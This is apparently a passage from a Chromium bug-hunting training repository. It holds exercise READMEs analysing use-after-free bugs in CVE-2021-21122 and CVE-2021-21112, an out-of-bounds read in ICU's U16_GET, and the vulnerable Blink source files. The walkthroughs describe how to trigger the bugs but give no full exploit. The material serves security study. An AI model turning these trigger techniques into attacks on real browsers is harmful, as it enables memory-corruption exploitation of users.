81 | * 82 | * The offset may point to either the lead or trail surrogate unit 83 | * for a supplementary code point, in which case the macro will read 84 | * the adjacent matching surrogate as well. 85 | * 86 | * The length can be negative for a NUL-terminated string. 87 | * 88 | * If the offset points to a single, unpaired surrogate, then 89 | * c is set to that unpaired surrogate. 90 | * Iteration through a string is more efficient with U16_NEXT_UNSAFE or U16_NEXT. 91 | * 92 | * @param s const UChar * string 93 | * @param start starting string offset (usually 0) 94 | * @param i string offset, must be start<=i(start) && U16_IS_LEAD(__c2=(s)[(i)-1])) { \ 110 | (c)=U16_GET_SUPPLEMENTARY(__c2, (c)); \ 111 | } \ 112 | } \ 113 | } \ 114 | } UPRV_BLOCK_MACRO_END 115 | ``` 116 | the third parameter is the length of the target string which be searched, just like find xy in xyd, and the length of this time is two. 117 | But [2] makes me puzzle, it seems like the `length` parameter is the end index of the `xyd`, but in truth it is the length of `xy`. And `@param length string length` proves my opinion. If we assignment i == length like i = 2, length = 2 and `__c2=(s)[(i)+1]` can oob read. 118 | We can check our answer by Detail. 119 | 120 | > This patch chagnes |IsWholeWordMatch()| to use |U16_GET()| with valid 121 | > parameters to avoid reading out of bounds data. 122 | > 123 | > In case of search "\uDB00" (broken surrogate pair) in "\u0022\uDB00", we 124 | > call |U16_GET(text, start, index, length, u32)| with start=1, index=1, 125 | > length=1, where text = "\u0022\DB800", then |U16_GET()| reads text[2] 126 | > for surrogate tail. 127 | > 128 | > After this patch, we call |U16_GET()| with length=2==end of match, to 129 | > make |U16_GET()| not to read text[2]. 130 | 131 | 132 | 133 |
134 | 135 | -------- 136 | -------------------------------------------------------------------------------- /LEVEL_2/exercise_1/text_searcher_icu.cc: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2012 Apple Inc. All 3 | * rights reserved. 4 | * Copyright (C) 2005 Alexey Proskuryakov. 5 | * 6 | * Redistribution and use in source and binary forms, with or without 7 | * modification, are permitted provided that the following conditions 8 | * are met: 9 | * 1. Redistributions of source code must retain the above copyright 10 | * notice, this list of conditions and the following disclaimer. 11 | * 2. Redistributions in binary form must reproduce the above copyright 12 | * notice, this list of conditions and the following disclaimer in the 13 | * documentation and/or other materials provided with the distribution. 14 | * 15 | * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY 16 | * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 17 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 18 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR 19 | * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 20 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 21 | * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR 22 | * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY 23 | * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 24 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 25 | * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 26 | */ 27 | 28 | #include "third_party/blink/renderer/core/editing/iterators/text_searcher_icu.h" 29 | 30 | #include 31 | #include "base/macros.h" 32 | #include "third_party/blink/renderer/platform/text/character.h" 33 | #include "third_party/blink/renderer/platform/text/text_boundaries.h" 34 | #include "third_party/blink/renderer/platform/text/text_break_iterator_internal_icu.h" 35 | #include "third_party/blink/renderer/platform/text/unicode_utilities.h" 36 | #include "third_party/blink/renderer/platform/wtf/allocator/allocator.h" 37 | #include "third_party/blink/renderer/platform/wtf/text/character_names.h" 38 | #include "third_party/blink/renderer/platform/wtf/text/wtf_string.h" 39 | 40 | namespace blink { 41 | 42 | namespace { 43 | 44 | UStringSearch* CreateSearcher() { 45 | // Provide a non-empty pattern and non-empty text so usearch_open will not 46 | // fail, but it doesn't matter exactly what it is, since we don't perform any 47 | // searches without setting both the pattern and the text. 48 | UErrorCode status = U_ZERO_ERROR; 49 | String search_collator_name = 50 | CurrentSearchLocaleID() + String("@collation=search"); 51 | UStringSearch* searcher = 52 | usearch_open(&kNewlineCharacter, 1, &kNewlineCharacter, 1, 53 | search_collator_name.Utf8().c_str(), nullptr, &status); 54 | DCHECK(status == U_ZERO_ERROR || status == U_USING_FALLBACK_WARNING || 55 | status == U_USING_DEFAULT_WARNING) 56 | << status; 57 | return searcher; 58 | } 59 | 60 | class ICULockableSearcher { 61 | STACK_ALLOCATED(); 62 | 63 | public: 64 | static UStringSearch* AcquireSearcher() { 65 | Instance().lock(); 66 | return Instance().searcher_; 67 | } 68 | 69 | static void ReleaseSearcher() { Instance().unlock(); } 70 | 71 | private: 72 | static ICULockableSearcher& Instance() { 73 | static ICULockableSearcher searcher(CreateSearcher()); 74 | return searcher; 75 | } 76 | 77 | explicit ICULockableSearcher(UStringSearch* searcher) : searcher_(searcher) {} 78 | 79 | void lock() { 80 | #if DCHECK_IS_ON() 81 | DCHECK(!locked_); 82 | locked_ = true; 83 | #endif 84 | } 85 | 86 | void unlock() { 87 | #if DCHECK_IS_ON() 88 | DCHECK(locked_); 89 | locked_ = false; 90 | #endif 91 | } 92 | 93 | UStringSearch* const searcher_ = nullptr; 94 | 95 | #if DCHECK_IS_ON() 96 | bool locked_ = false; 97 | #endif 98 | 99 | DISALLOW_COPY_AND_ASSIGN(ICULockableSearcher); 100 | }; 101 | 102 | } // namespace 103 | 104 | static bool IsWholeWordMatch(const UChar* text, 105 | int text_length, 106 | MatchResultICU& result) { 107 | DCHECK_LE((int)(result.start + result.length), text_length); 108 | UChar32 first_character; 109 | U16_GET(text, 0, result.start, result.length, first_character); 110 | 111 | // Chinese and Japanese lack word boundary marks, and there is no clear 112 | // agreement on what constitutes a word, so treat the position before any CJK 113 | // character as a word start. 114 | if (Character::IsCJKIdeographOrSymbol(first_character)) 115 | return true; 116 | 117 | wtf_size_t word_break_search_start = result.start + result.length; 118 | while (word_break_search_start > result.start) { 119 | word_break_search_start = 120 | FindNextWordBackward(text, text_length, word_break_search_start); 121 | } 122 | if (word_break_search_start != result.start) 123 | return false; 124 | return static_cast(result.start + result.length) == 125 | FindWordEndBoundary(text, text_length, word_break_search_start); 126 | } 127 | 128 | // Grab the single global searcher. 129 | // If we ever have a reason to do more than once search buffer at once, we'll 130 | // have to move to multiple searchers. 131 | TextSearcherICU::TextSearcherICU() 132 | : searcher_(ICULockableSearcher::AcquireSearcher()) {} 133 | 134 | TextSearcherICU::~TextSearcherICU() { 135 | // Leave the static object pointing to valid strings (pattern=target, 136 | // text=buffer). Otheriwse, usearch_reset() will results in 'use-after-free' 137 | // error. 138 | SetPattern(&kNewlineCharacter, 1); 139 | SetText(&kNewlineCharacter, 1); 140 | ICULockableSearcher::ReleaseSearcher(); 141 | } 142 | 143 | void TextSearcherICU::SetPattern(const StringView& pattern, 144 | FindOptions options) { 145 | DCHECK_GT(pattern.length(), 0u); 146 | options_ = options; 147 | SetCaseSensitivity(!(options & kCaseInsensitive)); 148 | SetPattern(pattern.Characters16(), pattern.length()); 149 | if (ContainsKanaLetters(pattern.ToString())) { 150 | NormalizeCharactersIntoNFCForm(pattern.Characters16(), pattern.length(), 151 | normalized_search_text_); 152 | } 153 | } 154 | 155 | void TextSearcherICU::SetText(const UChar* text, wtf_size_t length) { 156 | UErrorCode status = U_ZERO_ERROR; 157 | usearch_setText(searcher_, text, length, &status); 158 | DCHECK_EQ(status, U_ZERO_ERROR); 159 | text_length_ = length; 160 | } 161 | 162 | void TextSearcherICU::SetOffset(wtf_size_t offset) { 163 | UErrorCode status = U_ZERO_ERROR; 164 | usearch_setOffset(searcher_, offset, &status); 165 | DCHECK_EQ(status, U_ZERO_ERROR); 166 | } 167 | 168 | bool TextSearcherICU::NextMatchResult(MatchResultICU& result) { 169 | while (NextMatchResultInternal(result)) { 170 | if (!ShouldSkipCurrentMatch(result)) 171 | return true; 172 | } 173 | return false; 174 | } 175 | 176 | bool TextSearcherICU::NextMatchResultInternal(MatchResultICU& result) { 177 | UErrorCode status = U_ZERO_ERROR; 178 | const int match_start = usearch_next(searcher_, &status); 179 | DCHECK_EQ(status, U_ZERO_ERROR); 180 | 181 | // TODO(iceman): It is possible to use |usearch_getText| function 182 | // to retrieve text length and not store it explicitly. 183 | if (!(match_start >= 0 && 184 | static_cast(match_start) < text_length_)) { 185 | DCHECK_EQ(match_start, USEARCH_DONE); 186 | result.start = 0; 187 | result.length = 0; 188 | return false; 189 | } 190 | 191 | result.start = static_cast(match_start); 192 | result.length = usearch_getMatchedLength(searcher_); 193 | // Might be possible to get zero-length result with some Unicode characters 194 | // that shouldn't actually match but is matched by ICU such as \u0080. 195 | if (result.length == 0u) { 196 | result.start = 0; 197 | return false; 198 | } 199 | return true; 200 | } 201 | 202 | bool TextSearcherICU::ShouldSkipCurrentMatch(MatchResultICU& result) const { 203 | int32_t text_length; 204 | const UChar* text = usearch_getText(searcher_, &text_length); 205 | DCHECK_LE((int32_t)(result.start + result.length), text_length); 206 | DCHECK_GT(result.length, 0u); 207 | 208 | if (!normalized_search_text_.IsEmpty() && !IsCorrectKanaMatch(text, result)) 209 | return true; 210 | 211 | if ((options_ & kWholeWord) && !IsWholeWordMatch(text, text_length, result)) 212 | return true; 213 | return false; 214 | } 215 | 216 | bool TextSearcherICU::IsCorrectKanaMatch(const UChar* text, 217 | MatchResultICU& result) const { 218 | Vector normalized_match; 219 | NormalizeCharactersIntoNFCForm(text + result.start, result.length, 220 | normalized_match); 221 | return CheckOnlyKanaLettersInStrings( 222 | normalized_search_text_.data(), normalized_search_text_.size(), 223 | normalized_match.begin(), normalized_match.size()); 224 | } 225 | 226 | void TextSearcherICU::SetPattern(const UChar* pattern, wtf_size_t length) { 227 | UErrorCode status = U_ZERO_ERROR; 228 | usearch_setPattern(searcher_, pattern, length, &status); 229 | DCHECK_EQ(status, U_ZERO_ERROR); 230 | } 231 | 232 | void TextSearcherICU::SetCaseSensitivity(bool case_sensitive) { 233 | const UCollationStrength strength = 234 | case_sensitive ? UCOL_TERTIARY : UCOL_PRIMARY; 235 | 236 | UCollator* const collator = usearch_getCollator(searcher_); 237 | if (ucol_getStrength(collator) == strength) 238 | return; 239 | 240 | ucol_setStrength(collator, strength); 241 | usearch_reset(searcher_); 242 | } 243 | 244 | } // namespace blink 245 | -------------------------------------------------------------------------------- /LEVEL_2/exercise_2/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 2 2 | 3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details. 4 | 5 | ## CVE-2021-21122 6 | I sugget you don't search any report about it to prevents get too much info like patch. 7 | 8 | 9 | ### Details 10 | 11 | In level 2, we do it without the help of Details 12 | 13 | 14 | --------- 15 | 16 |
17 | For more info click me! But you'd better not do this 18 | 19 | https://bugs.chromium.org/p/chromium/issues/detail?id=1162131#c13 20 | 21 |
22 | 23 | -------- 24 | 25 | ### Set environment 26 | 27 | after you fetch chromium 28 | ```sh 29 | git reset --hard 978994829edb17b9583ab7a6a8b001a5b9dab04e 30 | ``` 31 | 32 | ### Related code 33 | 34 | [src/third_party/blink/renderer/core/editing/visible_units.cc](https://source.chromium.org/chromium/chromium/src/+/978994829edb17b9583ab7a6a8b001a5b9dab04e:third_party/blink/renderer/core/editing/visible_units.cc) 35 | You'd better read some introduce for [DOM](https://chromium.googlesource.com/chromium/src/+/8689d5f68d3ce081fb0b81230a4f316c03221418/third_party/blink/renderer/core/dom/#dom) and [layout](https://chromium.googlesource.com/chromium/src/+/8689d5f68d3ce081fb0b81230a4f316c03221418/third_party/blink/renderer/core/layout/#blink-layout) in chrome 36 | 37 | tips: CanContainRange[xxxxxxxx]() is virtual func, you can find all its def carefully for the true one. 38 | ### Do it 39 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 40 | 41 | 42 | --------- 43 | 44 |
45 | My answer 46 | 47 | At first, I analysis the [patched file](https://source.chromium.org/chromium/chromium/src/+/978994829edb17b9583ab7a6a8b001a5b9dab04e:third_party/blink/renderer/core/layout/hit_test_result.cc), but have no idea about the bug, so I see more about this cve at issue website. I notice that it was found by [Grammarinator fuzzer](https://github.com/renatahodovan/grammarinator), and when I want to use this fuzzer to continue this analysis, the usage can't run properly at my local. I don't make much time on environment or it's usage, because I don't think I can do the same as the author of this fuzzer in just two days :/ 48 | 49 | Some bug found by fuzzer are difficult to find by analysis the source files, so I want continue this work with the help of break trace which author [pasted](https://bugs.chromium.org/p/chromium/issues/detail?id=1162131). 50 | 51 | I decide to analysis these func from top to bottom, the first 52 | ```c++ 53 | bool EndsOfNodeAreVisuallyDistinctPositions(const Node* node) { 54 | if (!node) 55 | return false; 56 | 57 | LayoutObject* layout_object = node->GetLayoutObject(); 58 | if (!layout_object) 59 | return false; 60 | 61 | if (!layout_object->IsInline()) 62 | return true; 63 | 64 | // Don't include inline tables. 65 | if (IsA(*node)) 66 | return false; 67 | 68 | // A Marquee elements are moving so we should assume their ends are always 69 | // visibily distinct. 70 | if (IsA(*node)) 71 | return true; 72 | 73 | // There is a VisiblePosition inside an empty inline-block container. 74 | return layout_object->IsAtomicInlineLevel() && 75 | CanHaveChildrenForEditing(node) && 76 | !To(layout_object)->Size().IsEmpty() && [1] 77 | !HasRenderedNonAnonymousDescendantsWithHeight(layout_object); 78 | } 79 | ``` 80 | We can know [1] trigger the uaf from break trace. So the `layout_object` can be free before call [1]. `layout_object->IsAtomicInlineLevel()` seems like just a judgement, so we can analysis `CanHaveChildrenForEditing(node)`. Because `layout_object` get from `node`, so `layout_object` can be deleted by `node`. 81 | 82 | ```c++ 83 | inline bool CanHaveChildrenForEditing(const Node* node) { 84 | return !node->IsTextNode() && node->CanContainRangeEndPoint(); 85 | } 86 | ``` 87 | `node->CanContainRangeEndPoint()` is a virtual func which can be override. At first I ignore this point and just notice this func return false... 88 | ```c++ 89 | bool HTMLMeterElement::CanContainRangeEndPoint() const { 90 | GetDocument().UpdateStyleAndLayoutTreeForNode(this); [2] 91 | return GetComputedStyle() && !GetComputedStyle()->HasEffectiveAppearance(); 92 | } 93 | ``` 94 | Notice this UpdateStyle, I guess it can delete object. 95 | ```c++ 96 | void Document::UpdateStyleAndLayoutTreeForNode(const Node* node) { 97 | [ ... ] 98 | DisplayLockUtilities::ScopedForcedUpdate scoped_update_forced(node); 99 | UpdateStyleAndLayoutTree(); [3] 100 | } 101 | ``` 102 | in [3] and later will call delete, we can get this by call tree. 103 | ```shell 104 | #1 0x563e4438c880 in Free base/allocator/partition_allocator/partition_root.h:673 105 | #2 0x563e4438c880 in operator delete third_party/blink/renderer/core/layout/layout_object.cc:240 [4] 106 | #3 0x563e443c643f in blink::LayoutObject::Destroy() third_party/blink/renderer/core/layout/layout_object.cc:3826 107 | #4 0x563e443c6169 in blink::LayoutObject::DestroyAndCleanupAnonymousWrappers() layout_object.cc:? 108 | #5 0x563e42da53d3 in blink::Node::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/node.cc:1714 109 | #6 0x563e42c3b542 in blink::Element::DetachLayoutTree(bool) element.cc:? 110 | #7 0x563e42a818bd in blink::ContainerNode::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/container_node.cc:1014 111 | #8 0x563e42c3b534 in blink::Element::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/element.cc:2807 112 | #9 0x563e42a818bd in blink::ContainerNode::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/container_node.cc:1014 113 | #10 0x563e42c3b534 in blink::Element::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/element.cc:2807 114 | #11 0x563e42da4968 in blink::Node::ReattachLayoutTree(blink::Node::AttachContext&) third_party/blink/renderer/core/dom/node.cc:1679 115 | #12 0x563e42c43106 in blink::Element::RebuildLayoutTree(blink::WhitespaceAttacher&) third_party/blink/renderer/core/dom/element.cc:3163 116 | #13 0x563e42a8660a in blink::ContainerNode::RebuildLayoutTreeForChild(blink::Node*, blink::WhitespaceAttacher&) third_party/blink/renderer/core/dom/container_node.cc:1378 117 | #14 0x563e42a869ca in blink::ContainerNode::RebuildChildrenLayoutTrees(blink::WhitespaceAttacher&) third_party/blink/renderer/core/dom/container_node.cc:1403 118 | #15 0x563e42c43428 in blink::Element::RebuildLayoutTree(blink::WhitespaceAttacher&) third_party/blink/renderer/core/dom/element.cc:3192 119 | #16 0x563e4293af00 in blink::StyleEngine::RebuildLayoutTree() third_party/blink/renderer/core/css/style_engine.cc:2071 120 | #17 0x563e4293c4d7 in blink::StyleEngine::UpdateStyleAndLayoutTree() third_party/blink/renderer/core/css/style_engine.cc:2110 121 | #18 0x563e42aee703 in blink::Document::UpdateStyle() third_party/blink/renderer/core/dom/document.cc:2540 122 | #19 0x563e42ade9f6 in blink::Document::UpdateStyleAndLayoutTree() third_party/blink/renderer/core/dom/document.cc:2493 123 | #20 0x563e42af049b in blink::Document::UpdateStyleAndLayoutTreeForNode(blink::Node const*) [5] 124 | ``` 125 | [5] is the func we mentioned above. [4] delete object and we can delete layout_object there by set content-visibility to hidden. 126 | 127 | So in `EndsOfNodeAreVisuallyDistinctPositions` after `CanHaveChildrenForEditing(node)` will trigger uaf 128 | 129 | 130 |
131 | 132 | -------- 133 | -------------------------------------------------------------------------------- /LEVEL_2/exercise_3/README.md: -------------------------------------------------------------------------------- 1 | # Exercise 3 2 | 3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details. 4 | 5 | ## CVE-2021-21112 6 | I sugget you don't search any report about it to prevents get too much info like patch. 7 | 8 | 9 | ### Details 10 | 11 | In level 2, we do it without the help of Details 12 | 13 | 14 | --------- 15 | 16 |
17 | For more info click me! But you'd better not do this 18 | 19 | https://bugs.chromium.org/p/chromium/issues/detail?id=1151298 20 | 21 |
22 | 23 | -------- 24 | 25 | ### Set environment 26 | 27 | after you fetch chromium 28 | ```sh 29 | git reset --hard 13aa7b32816e52bf1242d073ada2c892798190e7 30 | ``` 31 | 32 | ### Related code 33 | 34 | [third_party/blink/renderer/modules/compression/deflate_transformer.cc](https://source.chromium.org/chromium/chromium/src/+/13aa7b32816e52bf1242d073ada2c892798190e7:third_party/blink/renderer/modules/compression/deflate_transformer.cc) 35 | [third_party/blink/renderer/modules/compression/inflate_transformer.cc](https://source.chromium.org/chromium/chromium/src/+/13aa7b32816e52bf1242d073ada2c892798190e7:third_party/blink/renderer/modules/compression/inflate_transformer.cc) 36 | 37 | You can read this [doc](https://docs.google.com/document/d/1TovyqqeC3HoO0A4UUBKiCyhZlQSl7jM_F7KbWjK2Gcs/edit) and [this](https://github.com/WICG/compression/blob/main/explainer.md) to get some info about `CompressionStreams` in chrome 38 | 39 | Read comment of [third_party/zlib/zlib.h](https://source.chromium.org/chromium/chromium/src/+/13aa7b32816e52bf1242d073ada2c892798190e7:third_party/zlib/zlib.h) to get detailed about `deflate` or `inflate` 40 | 41 |
42 | If you find not release operation, you can get some tips here 43 | 44 | We can write the target data to chunk for compress by `CompressionStream('deflate').writable.getWriter().write([data])`, also we can read the compressed output. 45 | 46 | At the end of read operation, we can set "then" prototype to some javascript code to free the compressing buffer. But, how can we trigger uaf? Is the compression continue after we free? When should we release it? 47 | 48 |
49 | 50 | ### Do it 51 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 52 | 53 | 54 | --------- 55 | 56 |
57 | My answer 58 | 59 | I have assumed a lot of vulnerability types, but finally they all false. I find not free operation during the compression. I know the compress need allocate chunk to save data, and free some of them. But none of them exist in deflate func. Maybe it’s because I’m not familiar enough with it. In order to reduce the difficulty, I write some tips I get from author. 60 | 61 | Author supply a method can be universally used which I said above. 62 | 63 | If you have read the tow docs about `CompressionStreams`, you can understand the source code quickily. If chunk too large, we need divide it into multiple small to compress one by one. 64 | 65 | As I side above, the compression operation is carried out step by step. The output can be read step by step, and at the end of every read operation, we can set "then" prototype to some javascript code to free the compressing buffer. 66 | 67 | ```c++ 68 | void DeflateTransformer::Deflate(const uint8_t* start, 69 | wtf_size_t length, 70 | IsFinished finished, 71 | TransformStreamDefaultController* controller, 72 | ExceptionState& exception_state) { 73 | stream_.avail_in = length; 74 | // Zlib treats this pointer as const, so this cast is safe. 75 | stream_.next_in = const_cast(start); 76 | 77 | do { 78 | stream_.avail_out = out_buffer_.size(); 79 | stream_.next_out = out_buffer_.data(); 80 | int err = deflate(&stream_, finished ? Z_FINISH : Z_NO_FLUSH); 81 | DCHECK((finished && err == Z_STREAM_END) || err == Z_OK || 82 | err == Z_BUF_ERROR); 83 | 84 | wtf_size_t bytes = out_buffer_.size() - stream_.avail_out; [1] 85 | if (bytes) { 86 | controller->enqueue( [2] 87 | script_state_, 88 | ScriptValue::From(script_state_, 89 | DOMUint8Array::Create(out_buffer_.data(), bytes)), 90 | exception_state); 91 | if (exception_state.HadException()) { 92 | return; 93 | } 94 | } 95 | } while (stream_.avail_out == 0); 96 | } 97 | ``` 98 | [1] calculate the remaining data needs to be compressed, and [2] call `enqueue` to compress them next time. 99 | 100 | A part of result will output after every time compression. We can read it and after we finish the read of once compression output, `then` func trigged. After free the compressing buffer, the next time of compression will trigger uaf. 101 | 102 | 103 | 104 | 105 | 106 |
107 | 108 | -------- 109 | -------------------------------------------------------------------------------- /LEVEL_2/exercise_3/deflate_transformer.cc: -------------------------------------------------------------------------------- 1 | // Copyright 2019 The Chromium Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style license that can be 3 | // found in the LICENSE file. 4 | 5 | #include "third_party/blink/renderer/modules/compression/deflate_transformer.h" 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | #include "third_party/blink/renderer/bindings/core/v8/array_buffer_or_array_buffer_view.h" 12 | #include "third_party/blink/renderer/bindings/core/v8/script_promise.h" 13 | #include "third_party/blink/renderer/bindings/core/v8/v8_binding_for_core.h" 14 | #include "third_party/blink/renderer/bindings/core/v8/v8_uint8_array.h" 15 | #include "third_party/blink/renderer/core/streams/transform_stream_default_controller.h" 16 | #include "third_party/blink/renderer/core/streams/transform_stream_transformer.h" 17 | #include "third_party/blink/renderer/core/typed_arrays/array_buffer_view_helpers.h" 18 | #include "third_party/blink/renderer/modules/compression/compression_format.h" 19 | #include "third_party/blink/renderer/modules/compression/zlib_partition_alloc.h" 20 | #include "third_party/blink/renderer/platform/bindings/exception_state.h" 21 | #include "third_party/blink/renderer/platform/bindings/to_v8.h" 22 | #include "v8/include/v8.h" 23 | 24 | namespace blink { 25 | 26 | DeflateTransformer::DeflateTransformer(ScriptState* script_state, 27 | CompressionFormat format, 28 | int level) 29 | : script_state_(script_state), out_buffer_(kBufferSize) { 30 | DCHECK(level >= 1 && level <= 9); 31 | memset(&stream_, 0, sizeof(z_stream)); 32 | ZlibPartitionAlloc::Configure(&stream_); 33 | constexpr int kWindowBits = 15; 34 | constexpr int kUseGzip = 16; 35 | int err; 36 | switch (format) { 37 | case CompressionFormat::kDeflate: 38 | err = deflateInit2(&stream_, level, Z_DEFLATED, kWindowBits, 8, 39 | Z_DEFAULT_STRATEGY); 40 | break; 41 | case CompressionFormat::kGzip: 42 | err = deflateInit2(&stream_, level, Z_DEFLATED, kWindowBits + kUseGzip, 8, 43 | Z_DEFAULT_STRATEGY); 44 | break; 45 | } 46 | DCHECK_EQ(Z_OK, err); 47 | } 48 | 49 | DeflateTransformer::~DeflateTransformer() { 50 | if (!was_flush_called_) { 51 | deflateEnd(&stream_); 52 | } 53 | } 54 | 55 | ScriptPromise DeflateTransformer::Transform( 56 | v8::Local chunk, 57 | TransformStreamDefaultController* controller, 58 | ExceptionState& exception_state) { 59 | ArrayBufferOrArrayBufferView buffer_source; 60 | V8ArrayBufferOrArrayBufferView::ToImpl( 61 | script_state_->GetIsolate(), chunk, buffer_source, 62 | UnionTypeConversionMode::kNotNullable, exception_state); 63 | if (exception_state.HadException()) { 64 | return ScriptPromise(); 65 | } 66 | if (buffer_source.IsArrayBufferView()) { 67 | const auto* view = buffer_source.GetAsArrayBufferView().View(); 68 | const uint8_t* start = static_cast(view->BaseAddress()); 69 | size_t length = view->byteLength(); 70 | if (length > std::numeric_limits::max()) { 71 | exception_state.ThrowRangeError( 72 | "Buffer size exceeds maximum heap object size."); 73 | return ScriptPromise(); 74 | } 75 | Deflate(start, static_cast(length), IsFinished(false), 76 | controller, exception_state); 77 | return ScriptPromise::CastUndefined(script_state_); 78 | } 79 | DCHECK(buffer_source.IsArrayBuffer()); 80 | const auto* array_buffer = buffer_source.GetAsArrayBuffer(); 81 | const uint8_t* start = static_cast(array_buffer->Data()); 82 | size_t length = array_buffer->ByteLength(); 83 | if (length > std::numeric_limits::max()) { 84 | exception_state.ThrowRangeError( 85 | "Buffer size exceeds maximum heap object size."); 86 | return ScriptPromise(); 87 | } 88 | Deflate(start, static_cast(length), IsFinished(false), controller, 89 | exception_state); 90 | 91 | return ScriptPromise::CastUndefined(script_state_); 92 | } 93 | 94 | ScriptPromise DeflateTransformer::Flush( 95 | TransformStreamDefaultController* controller, 96 | ExceptionState& exception_state) { 97 | Deflate(nullptr, 0u, IsFinished(true), controller, exception_state); 98 | was_flush_called_ = true; 99 | deflateEnd(&stream_); 100 | out_buffer_.clear(); 101 | 102 | return ScriptPromise::CastUndefined(script_state_); 103 | } 104 | 105 | void DeflateTransformer::Deflate(const uint8_t* start, 106 | wtf_size_t length, 107 | IsFinished finished, 108 | TransformStreamDefaultController* controller, 109 | ExceptionState& exception_state) { 110 | stream_.avail_in = length; 111 | // Zlib treats this pointer as const, so this cast is safe. 112 | stream_.next_in = const_cast(start); 113 | 114 | do { 115 | stream_.avail_out = out_buffer_.size(); 116 | stream_.next_out = out_buffer_.data(); 117 | int err = deflate(&stream_, finished ? Z_FINISH : Z_NO_FLUSH); 118 | DCHECK((finished && err == Z_STREAM_END) || err == Z_OK || 119 | err == Z_BUF_ERROR); 120 | 121 | wtf_size_t bytes = out_buffer_.size() - stream_.avail_out; 122 | if (bytes) { 123 | controller->enqueue( 124 | script_state_, 125 | ScriptValue::From(script_state_, 126 | DOMUint8Array::Create(out_buffer_.data(), bytes)), 127 | exception_state); 128 | if (exception_state.HadException()) { 129 | return; 130 | } 131 | } 132 | } while (stream_.avail_out == 0); 133 | } 134 | 135 | void DeflateTransformer::Trace(Visitor* visitor) const { 136 | visitor->Trace(script_state_); 137 | TransformStreamTransformer::Trace(visitor); 138 | } 139 | 140 | } // namespace blink 141 | -------------------------------------------------------------------------------- /LEVEL_2/exercise_3/inflate_transformer.cc: -------------------------------------------------------------------------------- 1 | // Copyright 2019 The Chromium Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style license that can be 3 | // found in the LICENSE file. 4 | 5 | #include "third_party/blink/renderer/modules/compression/inflate_transformer.h" 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | #include "third_party/blink/renderer/bindings/core/v8/array_buffer_or_array_buffer_view.h" 12 | #include "third_party/blink/renderer/bindings/core/v8/script_promise.h" 13 | #include "third_party/blink/renderer/bindings/core/v8/v8_binding_for_core.h" 14 | #include "third_party/blink/renderer/bindings/core/v8/v8_uint8_array.h" 15 | #include "third_party/blink/renderer/core/streams/transform_stream_default_controller.h" 16 | #include "third_party/blink/renderer/core/streams/transform_stream_transformer.h" 17 | #include "third_party/blink/renderer/core/typed_arrays/array_buffer_view_helpers.h" 18 | #include "third_party/blink/renderer/modules/compression/compression_format.h" 19 | #include "third_party/blink/renderer/modules/compression/zlib_partition_alloc.h" 20 | #include "third_party/blink/renderer/platform/bindings/exception_state.h" 21 | #include "third_party/blink/renderer/platform/bindings/to_v8.h" 22 | #include "third_party/blink/renderer/platform/wtf/text/wtf_string.h" 23 | #include "v8/include/v8.h" 24 | 25 | namespace blink { 26 | 27 | InflateTransformer::InflateTransformer(ScriptState* script_state, 28 | CompressionFormat format) 29 | : script_state_(script_state), out_buffer_(kBufferSize) { 30 | memset(&stream_, 0, sizeof(z_stream)); 31 | ZlibPartitionAlloc::Configure(&stream_); 32 | constexpr int kWindowBits = 15; 33 | constexpr int kUseGzip = 16; 34 | int err; 35 | switch (format) { 36 | case CompressionFormat::kDeflate: 37 | err = inflateInit2(&stream_, kWindowBits); 38 | break; 39 | case CompressionFormat::kGzip: 40 | err = inflateInit2(&stream_, kWindowBits + kUseGzip); 41 | break; 42 | } 43 | DCHECK_EQ(Z_OK, err); 44 | } 45 | 46 | InflateTransformer::~InflateTransformer() { 47 | if (!was_flush_called_) { 48 | inflateEnd(&stream_); 49 | } 50 | } 51 | 52 | ScriptPromise InflateTransformer::Transform( 53 | v8::Local chunk, 54 | TransformStreamDefaultController* controller, 55 | ExceptionState& exception_state) { 56 | // TODO(canonmukai): Support SharedArrayBuffer. 57 | ArrayBufferOrArrayBufferView buffer_source; 58 | V8ArrayBufferOrArrayBufferView::ToImpl( 59 | script_state_->GetIsolate(), chunk, buffer_source, 60 | UnionTypeConversionMode::kNotNullable, exception_state); 61 | if (exception_state.HadException()) { 62 | return ScriptPromise(); 63 | } 64 | if (buffer_source.IsArrayBufferView()) { 65 | const auto* view = buffer_source.GetAsArrayBufferView().View(); 66 | const uint8_t* start = static_cast(view->BaseAddress()); 67 | size_t length = view->byteLength(); 68 | if (length > std::numeric_limits::max()) { 69 | exception_state.ThrowRangeError( 70 | "Buffer size exceeds maximum heap object size."); 71 | return ScriptPromise(); 72 | } 73 | Inflate(start, 